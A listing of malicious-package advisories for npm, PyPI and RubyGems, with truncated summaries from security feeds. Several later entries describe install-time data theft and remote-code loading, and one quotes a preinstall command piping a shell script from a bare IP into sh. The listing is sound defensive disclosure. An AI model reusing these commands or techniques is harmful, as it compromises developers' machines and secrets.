MAL-2022-5656 Malicious code in react-native-camera-kit-example (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware d3e82d1c530731419cac7916aa1d029e236fcebde8ca18509bda12493d281970 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2022-2607 Malicious code in duckduckhack.com (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 0052ff314b9a16d3e634bfd02296d99e2d3dccd151fc048b3b569b41f84d5185 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2022-6190 Malicious code in sncicd-install-app (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 9077b8460d852a9b8afdc2a831fdb0f74e227b48f17f85ddb7ee0da67efa489c Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2022-4694 Malicious code in moonbeam-mongodb (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 2e8999054fa21ea2342ad98d26a3058503720057689847909ecac60f10ec221c Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2022-1227 Malicious code in azure-ai-form-recognizer (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware b16105a8fd2ecfc0ef734929e5c29a2ecf82852ce08f85eeeafd664643e61e81 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2022-1329 Malicious code in azure-eventhubs-checkpointstore-blob (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 446f07ebe7277743c5b75edd4e41ddee867b36339feabc5d6040ae83fb8c8ea8 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2022-5522 Malicious code in purple-bitchs (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 4f72c762ac4691edd746e10d2500da450f31dde8c149ff3eee267b86dd413cce Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2022-4094 Malicious code in kaiko-adapter (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware f38998a28674f6040a3aedf9b07e7223561975de3d58c0b6bb1ddccc0f981d97 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2022-3784 Malicious code in iex-cloud-adapter (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 5cc43b1119f24b8d76ffe3ea08b7b2221e7fff890494ef1678db79809befa3d3 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2022-3073 Malicious code in flightaware-adapter (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 0b8bab02276b0cea177ec840e77f218780115862eaefe0220c0dabc756475ef2 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2022-1379 Malicious code in azure-storage-common-cpp (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 10f2d9d05c663e24ede071f09a82e5c1b34d19d1332c4c152be774f63703ed33 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2022-4881 Malicious code in node-config-provider (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 6245de88dda255b54977801c4cb54ca206cf3e832670277220fba95bf3707455 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2022-5371 Malicious code in plugin-svgo (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 1341e5c5e07e1379451f4873b4c4fa7b1d05d4cfbd7444c8484145e2dddca09c Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2022-5707 Malicious code in realtime-react (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 53389921842257e5cac4021b62a872f18768a7c49183c56d80628379e3b4f52d Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2022-5635 Malicious code in react-datepicker-docs (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 062f92c39d2cbd607ae5a7a03f0c399be4d70173a3e41786637006cb7f4bcdca Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2022-2346 Malicious code in datadog-app-example-sentiment (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 0b7fe142d995f89d7e4cb6cc9585bcc24846648d205001e656821dd679fa86a1 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-17198 Malicious code in caracas4check (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 973d711f03dafa9f390e489476d4795acdda8db926bdd688ca5e1abbe6efa025 The package installs boot.pth at the site-packages root, causing 'import c4cboot' to run on every Python interpreter startup on the host after...

MAL-2026-17193 Malicious code in metrio (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ce8ee66a844d7abed74f4b9d223c8ef8f35bae380104526f4f8bc57295c47320 metrio 999.0.0 executes a hostname-exfiltration beacon from both setup.py install time and metrio/init.py import time. The code reads the local...

MAL-2026-17182 Malicious code in app-sca-info-banking (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9733b1d7500efca385ba6dc866f4ef1b04e0d1cd4ead564b9445551a2d72a51b package.json declares scripts.postinstall: node poc.js, causing poc.js to execute automatically on npm install. poc.js issues DNS dns.resolve4 and HT...

MAL-2026-16464 Malicious code in hachutis (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 455f1d04545c9ed17722705fe61415d7e536e2800c2a3c588ab69985004c73b9 The tarball ships three undeclared prebuilt executables under bin/ bin/cli, bin/cli-linux-amd64, and an 81 MB Bun-compiled bin/cli-http-linux that ar...

MAL-2026-16395 Malicious code in envparse3 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 910a8a8e205bc9a9540696320007c14926950b5a4f832efc577f2fd67ddc80a4 On require'envparse3', the package's main entrypoint invokes a top-level function dispatchAnalytics that reads a bundled image dist/stest.jpg, extrac...

MAL-2026-16891 Malicious code in bumrler (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

MAL-2026-16156 Malicious code in get-power (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e261e4010770fc43fd02cf8c9add484ea5f8a92a21f60682f2aea73f0ce110f7 get-power impersonates ljharb's get-proto utility package.json declares author 'Jordan Harband ' and homepage github.com/ljharb/get-power while...

MAL-2026-16201 Malicious code in webpackbootstrap5 (npm)

[email protected] typosquats bootstrap and ships a disguised in-browser proxy kit. Its bundled loader index-z2b7r4.js XOR-decodes a list of endpoints with a fixed key and injects remote scripts from https://dyingefforlessefforlessours.com via document.head.appendChild, then boots a...

MAL-2026-16140 Malicious code in tracker-cloudflare (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 55b5bacf5779f1a1fa161ee38acbf61fda0dc18b3d0fe35213e2b0dc230c06e4 The package's preinstall hook runs node index.js, which collects host identifiers os.hostname, os.userInfo, homedir, DNS servers, cwd along with the...

MAL-2026-15923 Malicious code in line-through (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f080fb3d5e59c5c950dd4dd0c2eb1841cdc2943e1543bd7803f7ca27d1756e60 The package's package.json preinstall hook runs vishu.js, which at npm install time collects the installer's public IP via api.ipify.org, OS hostname...

MAL-2026-15912 Malicious code in tailwind-aspect (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e6ba6037f5f2f65c0ceef0ba5bd8da931b7860a85e7a38fb2703ad4cd7672ddf The package's main entrypoint unconditionally downloads a JavaScript file from the hardcoded plain-HTTP bare-IP URL http://23.27.245.100/index.js,...

MAL-2026-15891 Malicious code in ordered-kv-index (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 55d622b138793a2b659f171c3420c5c66df969939d4e3be8c7d4099e4f4fd48f The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-15826 Malicious code in tailwindcss-fluid-styles (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4e9b69dc0a9e6eabb685fa4be860fa456d8810c712ab300ff87023d72cf93631 src/index.js executes an evalatob... blob at top level on require. The decoded loader queries Ethereum RPC endpoints for the latest transaction from...

MAL-2026-15644 Malicious code in @pipi596888/ccursor (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4c50ec8f5306971a2465653457f2ef36e6dbf14a666d9d8abff92af034fe5cef The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-15601 Malicious code in eslint-prettier-js (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 657c75af75154da75ac5073b9dcea65c04bdb3f493f3a72d79f1847df90bf449 The package's postinstall hook runs index.cjs's onInstall, which performs await fetch"https://2939e69fc408.ngrok-free.app/stats" and passes the...

MAL-2026-15574 Malicious code in gclassroom (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 354356e7fb630f0274c0194e95a717249115562962b161aea98b51a79dfae70f The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-15555 Malicious code in js-array-tokens (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3d54ea75aacb3eed3e1f1739093eb9b0092203fafca42d590bce038530056023 On module load, index.js reconstructs a URL from a char-code array that decodes to https://access-token-delta.vercel.app/, fetches a JSON response, a...

MAL-2026-15545 Malicious code in ux-metrics-client-interaction-subscriber (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6066e87b7b0822678d3514839bc7eba18d46ff1d034c12ea169f4c3513df132b package.json line 11 declares a dependency whose key equals the package's own name ux-metrics-client-interaction-subscriber and whose value is a bare...

MAL-2026-15507 Malicious code in grafeno-pix (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5c5e1649c30ab63a97fde3073d5e838ea91f5b2eca8149242f0fb24e286c3f3 [email protected] declares a preinstall hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and...

MAL-2026-14732 Malicious code in 3layerdipstackdwrofj (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d850c623764118e9980643adc2088a3f9192e538b59c5656f80613466e1218de The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14935 Malicious code in 3layerdipstackttd2o (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 05f539ccc6a611c927ad4d2c56f34a3e008ea454c812f4e10352f6cd850fab7c Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-15018 Malicious code in classlink-321ouwqc (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 9b5b75510dbe2e38496114aeea8322c7194e30b2cc4105424dd9653de2e00c38 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-14587 Malicious code in pygame-renderkit (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fdef1a055b3059d56581d5c0d33538e7799cfde5e42d596eb50094d06d984f54 setup.py registers a custom install command that forks a daemonized child during pip install and executes a base64-encoded Python payload via...

MAL-2026-15616 Malicious code in ndmxchdjxn2 (npm)

Published as part of a ClickFix-style fake-CAPTCHA phishing campaign documented by OX Security see reference. The package's only file is index.html, declared as the npm "main" entry; package.json defines no preinstall/install/postinstall/prepare lifecycle script, so the payload does not execute a...

MAL-2026-14432 Malicious code in kelly-stake-sizing (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6ca23e704ca44d185fc873044a3a967e06d996970f59a526d3390e1f0ab45a9d [email protected] declares postinstall = 'node scripts/install-check.cjs'. That script fetches a JSON config from...

MAL-2026-14428 Malicious code in consumerweb-serverutils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 04473d8096a27ae1cbf94652a0087dcf00762f2c7d1ef390bb351f283e743349 consumerweb-serverutils 3.4.3 runs a preinstall lifecycle script that on npm install collects the installer's username, hostname, and current working...

MAL-2026-15752 Malicious code in nano-max-box (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

MAL-2026-14387 Malicious code in @opap/player-kyc-widget (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector abfe2a5c5b34e28b415fb39f20acea1ec320ef85aeb9577c9a52153630f964fc The package's postinstall script runs automatically on npm install and collects host identifiers hostname, username, cwd, platform, arch from the...

MAL-2026-14371 Malicious code in chai-as-testkit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0bf8ab4a811449bd1ba40c637a0eebc0569994d3a3550cf7156c36192abcec31 The package is published as 'chai-as-testkit' with a description referencing vulnerability management, but the tarball ships pino's README, docs/,...

MAL-2026-14355 Malicious code in fuel-react (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8e35f4772b8cba3555519c250662c67395bf57d89feed3feba7ea067b6bb2c27 The package's postinstall.js script executes automatically on npm install and collects host identity plus environment variables os.hostname,...

MAL-2026-14247 Malicious code in magika-js (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 41cd28e41bc842fd046a2bff254f450edd0b6d2d15d961fe768cf5e9ebfa197f magika-js is a typosquat of Google's magika library. The postinstall lifecycle script collects installer host identifiers hostname, platform, arch,...

MAL-2026-14198 Malicious code in txs-lib-sdk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5575013ead36c1ebb523009215200be0a1bf61d21285ca8515573963a63e3aa5 The package's advertised getTransactions API invokes an internal loader that reads database.js — a file disguised as a product catalog — extracts eac...

MAL-2026-14168 Malicious code in chalk-util (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4a61959df09375862d2802f22d92ed1a26066bf2ddc2618b76f89666567a91f4 [email protected] is a typosquat of chalk whose index.js exports an empty object; the package's only functional code is scripts/postinstall.js. On npm...

MAL-2026-14066 Malicious code in akamaijs-sensorv1 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9524ba80283c25fe34b7a9630fc0f65ac8cf112e33a50aa4cbaac19239fcc267 The package advertises itself as an Akamai Bot Manager sensor generator, but its main entry conceals its real behavior. index.js contains a comment...